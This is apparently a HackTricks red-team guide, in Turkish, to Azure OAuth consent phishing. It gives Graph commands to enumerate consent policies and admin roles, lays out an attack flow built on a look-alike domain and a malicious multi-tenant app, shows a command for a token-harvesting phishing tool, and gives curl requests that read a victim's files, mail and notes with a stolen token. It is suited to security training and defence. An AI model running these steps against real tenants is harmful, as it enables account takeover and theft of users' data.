Az - OAuth Uygulamaları Phishing

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

OAuth Uygulama Phishing

Azure Uygulamaları, bir kullanıcının uygulamaya onay verdiğinde kullanabileceği izinlerle yapılandırılmıştır (örneğin dizini listeleme, dosyalara erişim veya diğer eylemleri gerçekleştirme). Uygulamanın kullanıcı adına hareket edeceğini unutmayın, bu nedenle uygulama yönetim izinleri talep etse bile, eğer kullanıcı onay verenin bu izni yoksa, uygulama yönetimsel eylemleri gerçekleştiremeyecektir.

Uygulama onay izinleri

Varsayılan olarak, herhangi bir kullanıcı uygulamalara onay verebilir, ancak bu, kullanıcıların yalnızca seçilen izinler için doğrulanmış yayıncılardan uygulamalara onay verebileceği şekilde yapılandırılabilir veya kullanıcıların uygulamalara onay verme izninin kaldırılması sağlanabilir.

Eğer kullanıcılar onay veremiyorsa, GA, Uygulama Yöneticisi veya Bulut Uygulama Yöneticisi gibi yöneticiler, kullanıcıların kullanabileceği uygulamalara onay verebilir.

Ayrıca, eğer kullanıcılar yalnızca düşük riskli izinlere sahip uygulamalara onay verebiliyorsa, bu izinler varsayılan olarak openid, profil, email, User.Read ve offline_access’dir, ancak bu listeye daha fazlasını eklemek mümkündür.

Eğer tüm uygulamalara onay verebiliyorlarsa, tüm uygulamalara onay verebilirler.

2 Tür saldırı

  • Kimlik Doğrulaması Olmayan: Dış bir hesaptan, örneğin User.Read ve User.ReadBasic.All gibi düşük riskli izinlerle bir uygulama oluşturun, bir kullanıcıyı phishing yapın ve dizin bilgilerine erişebileceksiniz.
  • Bu, phishing yapılan kullanıcının dış kiracıdan OAuth uygulamalarını kabul edebilmesi gerektirir.
  • Eğer phishing yapılan kullanıcı, herhangi bir uygulamaya herhangi bir izinle onay verebilen bir yönetici ise, uygulama ayrıcalıklı izinler talep edebilir.
  • Kimlik Doğrulaması Olan: Yeterli ayrıcalıklara sahip bir ilkeli ele geçirildiğinde, hesap içinde bir uygulama oluşturun ve ayrıcalıklı OAuth izinlerini kabul edebilecek bazı ayrıcalıklı kullanıcıları phishing yapın.
  • Bu durumda, dizin bilgilerine zaten erişebiliyorsunuz, bu nedenle User.ReadBasic.All izni artık ilginç değildir.
  • Yönetici tarafından verilmesi gereken izinlerle ilgileniyorsanız, çünkü sıradan bir kullanıcı OAuth uygulamalarına herhangi bir izin veremez, bu yüzden yalnızca bu kullanıcıları phishing yapmanız gerekir (bu ayrıcalığı hangi roller/izinlerin verdiği hakkında daha fazla bilgi daha sonra).

Kullanıcıların onay vermesine izin verilir

Bu komutu kiracı içindeki bir kullanıcıdan çalıştırmanız gerektiğini unutmayın, dış bir kiracıdan bu yapılandırmayı bulamazsınız. Aşağıdaki cli, kullanıcıların izinlerini anlamanıza yardımcı olabilir:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
  • Kullanıcılar tüm uygulamalara onay verebilir: Eğer permissionGrantPoliciesAssigned içinde: ManagePermissionGrantsForSelf.microsoft-user-default-legacy bulursanız, kullanıcılar her uygulamayı kabul edebilir.
  • Kullanıcılar, yalnızca seçtiğiniz izinler için, doğrulanmış yayıncılardan veya kuruluşunuzdan gelen uygulamalara onay verebilir: Eğer permissionGrantPoliciesAssigned içinde: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team bulursanız, kullanıcılar her uygulamayı kabul edebilir.
  • Kullanıcı onayını devre dışı bırak: Eğer permissionGrantPoliciesAssigned içinde yalnızca: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat ve ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team bulursanız, kullanıcılar hiçbirine onay veremez.

Yorumlanan politikaların her birinin anlamını bulmak mümkündür:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Uygulama Yöneticileri

Yeni uygulamaları kabul edebilen uygulama yöneticisi olarak kabul edilen kullanıcıları kontrol edin:

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Saldırı Akışının Genel Görünümü

Saldırı, genel bir şirketi hedef alan birkaç adımı içerir. İşte nasıl gelişebileceği:

  1. Alan Adı Kaydı ve Uygulama Barındırma: Saldırgan, güvenilir bir siteyi andıran bir alan adı kaydeder, örneğin, “safedomainlogin.com”. Bu alan adı altında, yetkilendirme kodlarını yakalamak ve erişim token’ları talep etmek için tasarlanmış bir uygulamayı barındırmak üzere bir alt alan adı oluşturulur (örneğin, “companyname.safedomainlogin.com”).
  2. Azure AD’de Uygulama Kaydı: Saldırgan, hedef şirketin adını kullanarak Azure AD Kiracısında Çoklu Kiracı Uygulaması kaydeder, böylece meşru görünür. Uygulamanın Yönlendirme URL’sini, kötü niyetli uygulamayı barındıran alt alan adına yönlendirecek şekilde yapılandırır.
  3. İzinlerin Ayarlanması: Saldırgan, uygulamayı çeşitli API izinleriyle (örneğin, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read) ayarlar. Bu izinler, kullanıcı tarafından verildiğinde, saldırgana kullanıcının adına hassas bilgileri çıkarmasına olanak tanır.
  4. Kötü Amaçlı Bağlantıların Dağıtılması: Saldırgan, kötü niyetli uygulamanın istemci kimliğini içeren bir bağlantı hazırlar ve bunu hedeflenen kullanıcılara paylaşarak onların onay vermelerini sağlar.

Örnek Saldırı

  1. Yeni bir uygulama kaydedin. Eğer saldırıya uğrayan dizinden bir kullanıcı kullanıyorsanız yalnızca mevcut dizin için, yoksa bu bir dış saldırıysa (aşağıdaki resimde olduğu gibi) herhangi bir dizin için olabilir.
  2. Ayrıca yönlendirme URI’sını almak istediğiniz token’ları almak için kodu alacağınız beklenen URL’ye ayarlayın (http://localhost:8000/callback varsayılan olarak).
  1. Ardından bir uygulama sırrı oluşturun:
  1. API izinlerini seçin (örneğin, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)
  1. İzinleri isteyen web sayfasını (azure_oauth_phishing_example) çalıştırın:
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
  1. URL’yi kurbanın gönderin
  2. Bu durumda http://localhost:8000
  3. Kurbanlar isteği kabul etmelidir:
  1. İstenen izinlere erişmek için erişim jetonunu kullanın:
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Diğer Araçlar

Post-Exploitation

Phishing Post-Exploitation

İstenen izinlere bağlı olarak kiracının farklı verilerine erişim sağlayabilirsiniz (kullanıcıları, grupları listeleme… veya ayarları değiştirme) ve kullanıcının bilgilerine (dosyalar, notlar, e-postalar…). Ardından, bu izinleri bu eylemleri gerçekleştirmek için kullanabilirsiniz.

Entra ID Uygulamaları Yöneticisi

Eğer bir şekilde Entra ID’de Uygulamaları yönetebilen bir Entra ID ilkesini ele geçirmeyi başardıysanız ve kiracının kullanıcıları tarafından kullanılan uygulamalar varsa, bir yönetici uygulamanın talep ettiği izinleri değiştirebilir ve token’ları çalmak için yeni bir izin verilen yönlendirme adresi ekleyebilir.

  • Gerçek olanı silmeye gerek kalmadan yönlendirme URI’leri eklemenin mümkün olduğunu unutmayın ve ardından saldırganın yönlendirme URI’sini kullanarak bir HTTP bağlantısı gönderin, böylece kullanıcı bağlantıyı takip ettiğinde kimlik doğrulama otomatik olarak gerçekleşir ve saldırgan token’ı alır.
  • Uygulamanın kullanıcıdan daha fazla izin almak için talep ettiği izinleri değiştirmek de mümkündür, ancak bu durumda kullanıcı isteği tekrar kabul etmelidir (zaten oturum açmış olsa bile).
  • Bu saldırıyı gerçekleştirmek için saldırganın Uygulama kodunu kontrol etmesine GEREK YOKTUR, çünkü sadece kullanıcıya yeni URL ile uygulamaya giriş bağlantısını gönderebilir.

Uygulama Post Exploitation

Sayfanın Uygulamalar ve Hizmet Prensibi bölümlerini kontrol edin:

Az - EntraID Privesc

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin